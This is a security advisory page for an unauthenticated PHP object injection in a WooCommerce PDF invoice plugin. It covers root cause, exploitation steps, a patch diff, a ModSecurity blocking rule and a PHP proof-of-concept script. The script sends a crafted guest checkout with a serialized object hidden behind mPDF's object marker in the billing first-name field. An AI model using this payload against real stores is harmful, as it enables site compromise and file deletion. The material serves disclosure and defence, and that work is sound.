Published : November 28, 2026

CVE-2026-136240: PDF Invoice for WooCommerce + Drag and Drop Template Builder <= 7.2.0 Unauthenticated PHP Object Injection to Arbitrary File Deletion via 'billing_address.first_name' Parameter via WC Store API Checkout PoC, Patch Analysis & Rule

Severity Critical (CVSS 9.1)
CWE 502
Vulnerable Version 7.2.0
Patched Version 7.2.1
Disclosed November 25, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-136240: PDF Invoice for WooCommerce + Drag and Drop Template Builder up to version 7.2.0 contains an unauthenticated PHP Object Injection vulnerability via the ‘billing_address.first_name’ parameter during WooCommerce Store API checkout. The flaw allows an attacker to inject a serialized PHP object into PDF invoice generation, leading to arbitrary file deletion if a POP chain exists on the victim site. CVSS score 9.1 (Critical) due to the unauthenticated nature and potential for high impact when combined with other plugins. The incomplete remediation in 7.2.0 left the billing address path unpatched.

Root Cause: The root cause is the deserialization of untrusted input in mPDF, a third-party library used by the plugin. Specifically, customer-controlled data flows from the WooCommerce Store API checkout into the billing address fields, which are then rendered into PDF templates. In woocommerce/shortcodes.php:975-978, the billing address is echoed with wp_kses_post() but lacks the escape_pdf_note() sanitization applied to customer notes. This address text is passed to mPDF via frontend/index.php, where mPDF interprets a special three-byte object marker (BB A4 AC) as a serialized internal object and calls unserialize() without restricting allowed classes (vendor/mpdf/mpdf/src/Mpdf.php:9102 and 13637). The incomplete patch in 7.2.0 only added escape_pdf_note() to the customer_note path, leaving the billing address path vulnerable.

Exploitation: An unauthenticated attacker exploits this by submitting a crafted order through the WooCommerce Store API (e.g., POST /wp-json/wc/store/checkout) with guest checkout enabled and a payment method that sets the order status to on-hold (e.g., Direct Bank Transfer). The attacker sets the billing_address.first_name parameter to a value containing the mPDF object marker and a serialized PHP object payload, such as: xbbxa4xac type=image,objattr=O:8:”SomeClass”:1:{…}. When the PDF invoice is generated (e.g., via preview or email attachment), the serialized object is deserialized, triggering a POP chain if present in other plugins. Successful exploitation can delete arbitrary files, expose sensitive data, or achieve remote code execution.

Patch Analysis: The patch fixes the vulnerability by adding multiple layers of defense. First, it introduces strip_mpdf_object_marker() in frontend/index.php to remove the mPDF object marker from HTML before rendering. Second, it hardens mPDF’s unserialize() calls by setting allowed_classes to false (vendor/mpdf/mpdf/src/Mpdf.php:9102 and 13637), preventing object instantiation. Third, it properly escapes billing and shipping addresses in woocommerce/shortcodes.php by applying escape_pdf_address(), which uses escape_pdf_note() to neutralize the object marker and other malicious content. The patch also secures the preview.php endpoint with proper order-ownership checks. Before the patch, the billing address was only sanitized with wp_kses_post(), which does not prevent the mPDF object marker injection. After the patch, all user-controlled address fields are processed by escape_pdf_address(), ensuring the marker cannot reach unserialize().

Impact: If exploited, this vulnerability allows unauthenticated attackers to execute arbitrary PHP code if a POP chain exists on the target site (e.g., from another plugin or theme). This can lead to arbitrary file deletion (as per the CVE title), sensitive data exposure, privilege escalation, or full site compromise. Even without a POP chain, the injection can cause denial of service or unexpected behavior. The CVSS score of 9.1 reflects the critical severity due to the lack of authentication and potential for complete system compromise.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/pdf-for-woocommerce/frontend/index.php
+++ b/pdf-for-woocommerce/frontend/index.php
@@ -69,6 +69,31 @@
 		$result = str_replace('"', "'", $result);
 		return $result;
 	}
+	/**
+	 * Remove mPDF's internal object marker (Mpdf::OBJECT_IDENTIFIER, the bytes BB A4 AC,
+	 * i.e. the characters U+00BB U+00A4 U+00AC) from HTML before it reaches mPDF.
+	 *
+	 * mPDF treats text that starts with this marker as a serialized internal object
+	 * ("type=...,objattr=..."). It must never come from document content: a customer
+	 * value written as the characters or as entities (»¤¬, »...)
+	 * turns back into the raw marker once mPDF decodes entities and, for core fonts,
+	 * converts UTF-8 to cp1252. Template HTML never legitimately contains this
+	 * three-character sequence.
+	 */
+	public static function strip_mpdf_object_marker($html)
+	{
+		$html = (string) $html;
+		$amp  = '&(?:amp;)*';
+		$c1 = '(?:xC2xBB|xBB|' . $amp . '(?:raquo|#0*187|#x0*bb);)';
+		$c2 = '(?:xC2xA4|xA4|' . $amp . '(?:curren|#0*164|#x0*a4);)';
+		$c3 = '(?:xC2xAC|xAC|' . $amp . '(?:not|#0*172|#x0*ac);)';
+		$pattern = '/' . $c1 . $c2 . $c3 . '/i';
+		do {
+			$previous = $html;
+			$html = preg_replace($pattern, '', $html);
+		} while ($html !== null && $html !== $previous);
+		return $html === null ? '' : $html;
+	}
 	function load_custom_template_woo()
 	{
 		add_filter('template_include', array($this, 'template_include'), 99);
@@ -375,6 +400,8 @@
 		}
 		// QR code / barcode shortcodes return a "data---image" placeholder; resolve it for every output type (download, upload, preview).
 		$html = str_replace("data---image", "data:image", $html);
+		// Security: never let document HTML carry mPDF's internal object marker.
+		$html = self::strip_mpdf_object_marker($html);
 		switch ($data_attrs["type"]) {
 			case "download":
 				$mpdf->WriteHTML($html);
--- a/pdf-for-woocommerce/libs/HtmlDocument.php
+++ b/pdf-for-woocommerce/libs/HtmlDocument.php
@@ -302,6 +302,21 @@
 					ENT_QUOTES | ENT_HTML5,
 					$this->_target_charset
 				);
+				// Security: makeup()/outertext print text nodes as-is, so decoded text such as
+				// "<img src=...>" from customer data would come back out as a live tag
+				// (and mPDF markup) when the document is serialized again. Re-encode the HTML
+				// special characters of real text nodes; what is displayed stays the same.
+				// Comments/CDATA and <style>/<script> contents are left untouched.
+				if ($node->nodetype === HtmlNode::HDOM_TYPE_TEXT
+					&& !($node->parent && in_array(strtolower((string) $node->parent->tag), array('style', 'script'), true))
+				) {
+					$node->_[HtmlNode::HDOM_INFO_TEXT] = htmlspecialchars(
+						$node->_[HtmlNode::HDOM_INFO_TEXT],
+						ENT_NOQUOTES | ENT_SUBSTITUTE,
+						$this->_target_charset,
+						true
+					);
+				}
 			}
 			if (isset($node->_[HtmlNode::HDOM_INFO_INNER])) {
 				$node->_[HtmlNode::HDOM_INFO_INNER] = html_entity_decode(
@@ -309,6 +324,19 @@
 					ENT_QUOTES | ENT_HTML5,
 					$this->_target_charset
 				);
+				// Security: for an element, INNER holds the text right after its opening tag
+				// and is printed as-is, exactly like a text node. Re-encode it the same way
+				// (not for comments, CDATA, <style> or <script>, whose content is raw).
+				if ($node->nodetype === HtmlNode::HDOM_TYPE_ELEMENT
+					&& !in_array(strtolower((string) $node->tag), array('style', 'script'), true)
+				) {
+					$node->_[HtmlNode::HDOM_INFO_INNER] = htmlspecialchars(
+						$node->_[HtmlNode::HDOM_INFO_INNER],
+						ENT_NOQUOTES | ENT_SUBSTITUTE,
+						$this->_target_charset,
+						true
+					);
+				}
 			}
 			if (isset($node->attr) && is_array($node->attr)) {
 				foreach ($node->attr as $a => $v) {
--- a/pdf-for-woocommerce/pdf-for-woocommerce.php
+++ b/pdf-for-woocommerce/pdf-for-woocommerce.php
@@ -4,7 +4,7 @@
  * Plugin Name: PDF Invoice for WooCommerce + Drag and Drop Template Builder
  * Requires Plugins: woocommerce
  * Description: WooCommerce PDF Customizer is a helpful tool that helps you build and customize the PDF Templates for WooCommerce.
- * Version: 7.2.0
+ * Version: 7.2.1
  * Requires PHP: 7.0
  * Author: add-ons.org
  * Tested up to: 7.1
--- a/pdf-for-woocommerce/preview.php
+++ b/pdf-for-woocommerce/preview.php
@@ -1,40 +1,70 @@
-<?php
-if ( ! defined( 'ABSPATH' ) ) exit; // Exit if accessed directly
-if( isset($_GET['id'])) {
-    $id_template = sanitize_text_field( $_GET['id'] );
-    $type = "preview";
-    if( isset($_GET["download"]) ){
-        $type = "download";
-    }
-    if( isset($_GET["html"]) ){
-        $type = "html";
-    }
-    $name ="pdf_name";
-    if( isset($_GET["pdf_name"]) ){
-        $name = sanitize_text_field($_GET["pdf_name"]);
-        $name = urldecode($name);
-        $name = sanitize_file_name($name);
-    }
-    $user = wp_get_current_user();
-    $allowed_roles = array('editor', 'administrator', 'author',"shop_manager");
-    $check = false;
-    if ( isset( $_REQUEST['_wpnonce']) && wp_verify_nonce( $_REQUEST['_wpnonce'], 'yeepdf' ) ) {
-        $check = true;
-    }
-    if( array_intersect($allowed_roles, $user->roles ) ) {
-        $check = true;
-    }
-    if( $check ){
-        $order_id = "";
-        if( isset($_GET["woo_order"]) ) {
-            $order_id = sanitize_text_field( $_GET['woo_order'] );
-        }
-        $data_send_settings = array(
-            "id_template"=> $id_template,
-            "type"=> $type,
-            "woo_order_id" =>$order_id,
-            "name" => $name
-        );
-        Yeepdf_Create_PDF::pdf_creator_preview($data_send_settings);
-    }
+<?php
+if ( ! defined( 'ABSPATH' ) ) exit; // Exit if accessed directly
+if( isset($_GET['id'])) {
+    $id_template = sanitize_text_field( $_GET['id'] );
+    $type = "preview";
+    if( isset($_GET["download"]) ){
+        $type = "download";
+    }
+    if( isset($_GET["html"]) ){
+        $type = "html";
+    }
+    $name ="pdf_name";
+    if( isset($_GET["pdf_name"]) ){
+        $name = sanitize_text_field($_GET["pdf_name"]);
+        $name = urldecode($name);
+        $name = sanitize_file_name($name);
+    }
+    $order_id  = "";
+    $order_ids = array();
+    if( isset($_GET["woo_order"]) ) {
+        $order_ids = array_values(array_filter(array_map('absint', explode(',', sanitize_text_field(wp_unslash($_GET['woo_order']))))));
+        $order_id  = implode(',', $order_ids);
+    }
+    $can_manage_orders = current_user_can('edit_shop_orders') || current_user_can('manage_woocommerce');
+    $check = false;
+    if ( $can_manage_orders ) {
+        $check = true;
+    } elseif ( !empty($order_ids) ) {
+        // Order data: only the customer's own order(s), or one order opened with its order key
+        // (guest checkout / email links). A shared nonce is not tied to an order, so it is not enough.
+        $order_key = isset($_GET['key']) ? sanitize_text_field(wp_unslash($_GET['key'])) : '';
+        $user_id   = get_current_user_id();
+        $check     = function_exists('wc_get_order');
+        foreach ( $order_ids as $check_order_id ) {
+            $check_order = $check ? wc_get_order($check_order_id) : false;
+            $is_owner    = $check_order && $user_id && (int) $check_order->get_customer_id() === $user_id;
+            $has_key     = $check_order && count($order_ids) === 1 && $order_key !== '' && hash_equals((string) $check_order->get_order_key(), $order_key);
+            if ( !$is_owner && !$has_key ) {
+                $check = false;
+                break;
+            }
+        }
+        // The raw HTML view is for shop managers only.
+        if ( $type == "html" ) {
+            $check = false;
+        }
+    } else {
+        // Template preview with sample data (no order).
+        if ( isset( $_REQUEST['_wpnonce']) && wp_verify_nonce( sanitize_text_field(wp_unslash($_REQUEST['_wpnonce'])), 'yeepdf' ) ) {
+            $check = true;
+        }
+        if ( current_user_can('edit_posts') ) {
+            $check = true;
+        }
+    }
+    if ( !$check && !empty($order_ids) ) {
+        status_header(403);
+        nocache_headers();
+        wp_die(esc_html__('You are not allowed to view this document.', 'pdf-for-woocommerce'), '', array('response' => 403));
+    }
+    if( $check ){
+        $data_send_settings = array(
+            "id_template"=> $id_template,
+            "type"=> $type,
+            "woo_order_id" =>$order_id,
+            "name" => $name
+        );
+        Yeepdf_Create_PDF::pdf_creator_preview($data_send_settings);
+    }
 }
 No newline at end of file
--- a/pdf-for-woocommerce/vendor/mpdf/mpdf/src/Mpdf.php
+++ b/pdf-for-woocommerce/vendor/mpdf/mpdf/src/Mpdf.php
@@ -9102,7 +9102,12 @@
 			$sp[$v[0]] = trim($v[1], Mpdf::OBJECT_IDENTIFIER);
 		}

-		return (unserialize($sp['objattr']));
+		// Security: objattr is always a plain array written by mPDF itself (see the
+		// serialize() calls for type=image/listmarker/textarea/...). Forbidding classes
+		// turns any injected serialized object into __PHP_Incomplete_Class, so a crafted
+		// value reaching this point (e.g. via user-controlled HTML) cannot build a POP
+		// gadget chain. Hardens against the object-injection file-deletion report.
+		return (unserialize($sp['objattr'], array('allowed_classes' => false)));
 	}

 	function inlineObject($type, $x, $y, $objattr, $Lmargin, $widthUsed, $maxWidth, $lineHeight, $paint = false, $is_table = false)
@@ -13637,7 +13642,8 @@
 						$this->OTLdata = [];
 					} // TEXTAREA
 					else {
-						$objattr = unserialize($this->specialcontent);
+						// Security: specialcontent is always an array serialized by TagTextArea.
+						$objattr = unserialize($this->specialcontent, array('allowed_classes' => false));
 						$objattr['text'] = $e;
 						$objattr['OTLdata'] = $this->OTLdata;
 						$this->OTLdata = [];
--- a/pdf-for-woocommerce/woocommerce/emails/index.php
+++ b/pdf-for-woocommerce/woocommerce/emails/index.php
@@ -237,7 +237,10 @@
 						$name = do_shortcode($name);
 						$name = urlencode($name);
 						$password = urlencode($password);
-						$link_download = add_query_arg(array("pdf_preview" => "preview", "id" => $data["template_id"], "download" => "1", "woo_order" => $order_id, "pdf_name" => $name, "pdf_password" => $password), $link_download_home);
+						$link_args = array("pdf_preview" => "preview", "id" => $data["template_id"], "download" => "1", "woo_order" => $order_id, "pdf_name" => $name, "pdf_password" => $password);
+						// The order key ties the link to this one order (guests and email recipients).
+						$link_args["key"] = $order->get_order_key();
+						$link_download = add_query_arg($link_args, $link_download_home);
 						$link_download_pdf = wp_nonce_url($link_download, "yeepdf");
 						$link_download_pdfs[$data["id"]] = array("link" => $link_download_pdf, "label" => $data["label"], "date" => wp_date(get_option('date_format')));
 					}
--- a/pdf-for-woocommerce/woocommerce/shortcodes.php
+++ b/pdf-for-woocommerce/woocommerce/shortcodes.php
@@ -527,7 +527,7 @@
                 break;
             case 'yeepdf_woo_billing_address':
                 if (isset($order) && $order != null) {
-                    return $order->get_formatted_billing_address();
+                    return self::escape_pdf_address($order->get_formatted_billing_address());
                 } else {
                     return self::order_billing();
                 }
@@ -975,7 +975,7 @@
             $address    = $order->get_formatted_billing_address();
             ?>
             <div class="address">
-                <?php echo wp_kses_post($address ? $address : esc_html__('N/A', 'woocommerce')); //phpcs:ignore WordPress.WP.I18n.TextDomainMismatch
+                <?php echo self::escape_pdf_address($address ? $address : esc_html__('N/A', 'woocommerce')); //phpcs:ignore WordPress.WP.I18n.TextDomainMismatch
                 ?>
                 <?php if ($order->get_billing_phone()) : ?>
                     <br /><?php echo wc_make_phone_clickable($order->get_billing_phone()); // phpcs:ignore WordPress.Security.EscapeOutput
@@ -1016,7 +1016,7 @@
             if (! wc_ship_to_billing_address_only() && $order->needs_shipping_address() && $shipping) :
             ?>
                 <div class="address">
-                    <?php echo wp_kses_post($shipping); ?>
+                    <?php echo self::escape_pdf_address($shipping); ?>
                     <?php if ($order->get_shipping_phone()) : ?>
                         <br /><?php echo wc_make_phone_clickable($order->get_shipping_phone()); // phpcs:ignore WordPress.Security.EscapeOutput
                                 ?>
@@ -1051,11 +1051,34 @@
             $previous = $note;
             $note = html_entity_decode($note, ENT_QUOTES | ENT_HTML5, 'UTF-8');
             $note = wp_strip_all_tags($note);
+            // The marker also forms again from its UTF-8 characters (core-font cp1252 conversion).
+            $note = str_replace(array("xbbxa4xac", "xc2xbbxc2xa4xc2xac"), '', $note);
             // Repeat because removing markup can expose another entity or tag.
         } while ($note !== $previous);

         return nl2br(esc_html($note));
     }
+    /**
+     * Render a WooCommerce formatted address (billing/shipping) safely for the PDF.
+     *
+     * A formatted address is user-controlled text (first name, company, address…)
+     * where the only legitimate markup WooCommerce adds is <br/> between lines.
+     * Each line is neutralised like a note so an encoded mPDF object marker in, e.g.,
+     * the billing first name cannot be re-materialised by the builder's entity-decoding
+     * pass, while the line breaks are preserved.
+     */
+    public static function escape_pdf_address($address)
+    {
+        $parts = preg_split('/<brs*/?>/i', (string) $address);
+        $clean = array();
+        foreach ($parts as $part) {
+            $part = self::escape_pdf_note($part);
+            if ($part !== '') {
+                $clean[] = $part;
+            }
+        }
+        return implode('<br/>', $clean);
+    }
     public static function customer_notes($notes)
     {
         ob_start();
--- a/pdf-for-woocommerce/woocommerce/templates/emails/address-billing.php
+++ b/pdf-for-woocommerce/woocommerce/templates/emails/address-billing.php
@@ -1,18 +1,18 @@
-<?php
-if (! defined('ABSPATH')) {
-	exit;
-}
-$text_align = is_rtl() ? 'right' : 'left';
-$address    = $order->get_formatted_billing_address();
-?>
-<address class="address">
-	<?php echo wp_kses_post($address ? $address : esc_html__('N/A', "woocommerce")); //phpcs:ignore WordPress.WP.I18n.TextDomainMismatch
-	?>
-	<?php if ($order->get_billing_phone()) : ?>
-		<br /><?php echo wc_make_phone_clickable($order->get_billing_phone()); // phpcs:ignore WordPress.Security.EscapeOutput
-				?>
-	<?php endif; ?>
-	<?php if ($order->get_billing_email()) : ?>
-		<br /><?php echo esc_html($order->get_billing_email()); ?>
-	<?php endif; ?>
+<?php
+if (! defined('ABSPATH')) {
+	exit;
+}
+$text_align = is_rtl() ? 'right' : 'left';
+$address    = $order->get_formatted_billing_address();
+?>
+<address class="address">
+	<?php echo Yeepdf_Addons_Woocommerce_Shortcodes::escape_pdf_address($address ? $address : esc_html__('N/A', "woocommerce")); //phpcs:ignore WordPress.WP.I18n.TextDomainMismatch
+	?>
+	<?php if ($order->get_billing_phone()) : ?>
+		<br /><?php echo wc_make_phone_clickable($order->get_billing_phone()); // phpcs:ignore WordPress.Security.EscapeOutput
+				?>
+	<?php endif; ?>
+	<?php if ($order->get_billing_email()) : ?>
+		<br /><?php echo esc_html($order->get_billing_email()); ?>
+	<?php endif; ?>
 </address>
 No newline at end of file
--- a/pdf-for-woocommerce/woocommerce/templates/emails/address-shipping.php
+++ b/pdf-for-woocommerce/woocommerce/templates/emails/address-shipping.php
@@ -1,11 +1,11 @@
-<?php
-if (! defined('ABSPATH')) {
-	exit;
-}
-$text_align = is_rtl() ? 'right' : 'left';
-$shipping   = $order->get_formatted_shipping_address();
-if ($shipping == "") {
-	$shipping = esc_html__("No shipping address set.", "woocommerce"); //phpcs:ignore WordPress.WP.I18n.TextDomainMismatch
-}
-?>
-<address class="address"><?php echo wp_kses_post($shipping); ?></address>
 No newline at end of file
+<?php
+if (! defined('ABSPATH')) {
+	exit;
+}
+$text_align = is_rtl() ? 'right' : 'left';
+$shipping   = $order->get_formatted_shipping_address();
+if ($shipping == "") {
+	$shipping = esc_html__("No shipping address set.", "woocommerce"); //phpcs:ignore WordPress.WP.I18n.TextDomainMismatch
+}
+?>
+<address class="address"><?php echo Yeepdf_Addons_Woocommerce_Shortcodes::escape_pdf_address($shipping); ?></address>
 No newline at end of file
--- a/pdf-for-woocommerce/woocommerce/templates/emails/email-addresses.php
+++ b/pdf-for-woocommerce/woocommerce/templates/emails/email-addresses.php
@@ -1,52 +1,52 @@
-<?php
-
-/**
- * Email Addresses
- *
- * This template can be overridden by copying it to yourtheme/woocommerce/emails/email-addresses.php.
- *
- * HOWEVER, on occasion WooCommerce will need to update template files and you
- * (the theme developer) will need to copy the new files to your theme to
- * maintain compatibility. We try to do this as little as possible, but it does
- * happen. When this occurs the version of the template file will be bumped and
- * the readme will list any important changes.
- *
- * @see https://docs.woocommerce.com/document/template-structure/
- * @package WooCommerce/Templates/Emails
- * @version 3.9.0
- */
-
-if (! defined('ABSPATH')) {
-	exit;
-}
-//phpcs:disable WordPress.WP.I18n.TextDomainMismatch
-$text_align = is_rtl() ? 'right' : 'left';
-$address    = $order->get_formatted_billing_address();
-$shipping   = $order->get_formatted_shipping_address();
-
-?><table class="yeemail-woocommerce-style" cellspacing="0" cellpadding="0" style="vertical-align: top;  background-color: #FFF;padding: 15px 30px;font-family: 'Helvetica Neue', Helvetica, Roboto, Arial, sans-serif; " border="0">
-	<tr>
-		<td style="" valign="top" width="50%">
-			<h2><?php esc_html_e('Billing address', "woocommerce"); ?></h2>
-			<address class="address">
-				<?php echo wp_kses_post($address ? $address : esc_html__('N/A', "woocommerce")); ?>
-				<?php if ($order->get_billing_phone()) : ?>
-					<br /><?php echo wc_make_phone_clickable($order->get_billing_phone()); // phpcs:ignore WordPress.Security.EscapeOutput
-							?>
-				<?php endif; ?>
-				<?php if ($order->get_billing_email()) : ?>
-					<br /><?php echo esc_html($order->get_billing_email()); ?>
-				<?php endif; ?>
-			</address>
-		</td>
-		<?php if (! wc_ship_to_billing_address_only() && $order->needs_shipping_address() && $shipping) : ?>
-			<td style="" valign="top" width="50%">
-				<h2><?php esc_html_e('Shipping address', "woocommerce"); ?></h2>
-
-				<address class="address"><?php echo wp_kses_post($shipping); ?></address>
-			</td>
-		<?php endif; ?>
-	</tr>
-</table>
-<?php //phpcs:enable WordPress.WP.I18n.TextDomainMismatch
+<?php
+
+/**
+ * Email Addresses
+ *
+ * This template can be overridden by copying it to yourtheme/woocommerce/emails/email-addresses.php.
+ *
+ * HOWEVER, on occasion WooCommerce will need to update template files and you
+ * (the theme developer) will need to copy the new files to your theme to
+ * maintain compatibility. We try to do this as little as possible, but it does
+ * happen. When this occurs the version of the template file will be bumped and
+ * the readme will list any important changes.
+ *
+ * @see https://docs.woocommerce.com/document/template-structure/
+ * @package WooCommerce/Templates/Emails
+ * @version 3.9.0
+ */
+
+if (! defined('ABSPATH')) {
+	exit;
+}
+//phpcs:disable WordPress.WP.I18n.TextDomainMismatch
+$text_align = is_rtl() ? 'right' : 'left';
+$address    = $order->get_formatted_billing_address();
+$shipping   = $order->get_formatted_shipping_address();
+
+?><table class="yeemail-woocommerce-style" cellspacing="0" cellpadding="0" style="vertical-align: top;  background-color: #FFF;padding: 15px 30px;font-family: 'Helvetica Neue', Helvetica, Roboto, Arial, sans-serif; " border="0">
+	<tr>
+		<td style="" valign="top" width="50%">
+			<h2><?php esc_html_e('Billing address', "woocommerce"); ?></h2>
+			<address class="address">
+				<?php echo Yeepdf_Addons_Woocommerce_Shortcodes::escape_pdf_address($address ? $address : esc_html__('N/A', "woocommerce")); ?>
+				<?php if ($order->get_billing_phone()) : ?>
+					<br /><?php echo wc_make_phone_clickable($order->get_billing_phone()); // phpcs:ignore WordPress.Security.EscapeOutput
+							?>
+				<?php endif; ?>
+				<?php if ($order->get_billing_email()) : ?>
+					<br /><?php echo esc_html($order->get_billing_email()); ?>
+				<?php endif; ?>
+			</address>
+		</td>
+		<?php if (! wc_ship_to_billing_address_only() && $order->needs_shipping_address() && $shipping) : ?>
+			<td style="" valign="top" width="50%">
+				<h2><?php esc_html_e('Shipping address', "woocommerce"); ?></h2>
+
+				<address class="address"><?php echo Yeepdf_Addons_Woocommerce_Shortcodes::escape_pdf_address($shipping); ?></address>
+			</td>
+		<?php endif; ?>
+	</tr>
+</table>
+<?php //phpcs:enable WordPress.WP.I18n.TextDomainMismatch
 ?>
 No newline at end of file

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-136240
# Block unauthenticated PHP Object Injection via WooCommerce Store API checkout
# Targets the 'billing_address.first_name' parameter containing the mPDF object marker and serialized object payload.

SecRule REQUEST_URI "@beginsWith /wp-json/wc/store/checkout" 
  "id:2026136240,phase:2,deny,status:403,chain,msg:'CVE-2026-136240 via WooCommerce Store API checkout',severity:'CRITICAL',tag:'CVE-2026-136240'"
  SecRule REQUEST_METHOD "@streq POST" "chain"
    SecRule REQUEST_HEADERS:Content-Type "@rx ^application/json" "chain"
      SecRule REQUEST_BODY "@rx (%C2%BB|%BB)(%C2%A4|%A4)(%C2%AC|%AC).*(O:|a:)" 
        "t:urlDecodeUni,setvar:'tx.cve_2026_136240=1'"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-136240 - PDF Invoice for WooCommerce + Drag and Drop Template Builder <= 7.2.0 - Unauthenticated PHP Object Injection to Arbitrary File Deletion via 'billing_address.first_name' Parameter via WC Store API Checkout

// This PoC assumes guest checkout is enabled and the store allows orders to be placed with a payment method that sets order status to on-hold (e.g., Direct Bank Transfer).

$target_url = 'https://example.com'; // CHANGE THIS

// Step 1: Create a serialized payload. For demonstration, use a generic object.
// In a real attack, the payload would be a serialized object for an existing POP chain.
// We use a harmless stdClass for this PoC.
$payload = 'O:8:"stdClass":0:{}';

// The mPDF object marker must be injected before the serialized payload.
// The marker is BB A4 AC (in UTF-8: xC2xBBxC2xA4xC2xAC).
// We also include the type=image prefix to mimic mPDF's internal format.
$injected_value = "xC2xBBxC2xA4xC2xAC type=image,objattr=" . $payload;

// Step 2: Prepare the checkout request data.
$order_data = [
    'billing_address' => [
        'first_name' => $injected_value,
        'last_name'  => 'Doe',
        'address_1'  => '123 Main St',
        'address_2'  => '',
        'city'       => 'New York',
        'state'      => 'NY',
        'postcode'   => '10001',
        'country'    => 'US',
        'email'      => 'attacker@example.com',
        'phone'      => '555-555-5555',
    ],
    'shipping_address' => [
        'first_name' => 'John',
        'last_name'  => 'Doe',
        'address_1'  => '123 Main St',
        'address_2'  => '',
        'city'       => 'New York',
        'state'      => 'NY',
        'postcode'   => '10001',
        'country'    => 'US',
    ],
    'payment_method' => 'bacs', // Direct Bank Transfer (sets order to on-hold)
    'payment_data' => [],
];

// Step 3: Send the checkout request via the Store API.
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-json/wc/store/checkout');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($order_data));
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'Content-Type: application/json',
    'Accept: application/json',
]);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "Checkout response (HTTP $http_code):n";
echo $response . "n";

// Step 4: The order is created. The vulnerability triggers when the PDF invoice is generated.
// This typically requires an admin action or a scheduled job. For PoC, we simulate by calling the preview endpoint if accessible.
// However, the preview endpoint requires authentication, so the exploit relies on the invoice generation process.

// Note: In a real scenario, an attacker would need to trigger PDF generation, e.g., by waiting for the store admin to view the invoice.

echo "PoC completed. If the site has a POP chain, the injected object may be deserialized when the invoice PDF is generated.n";

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.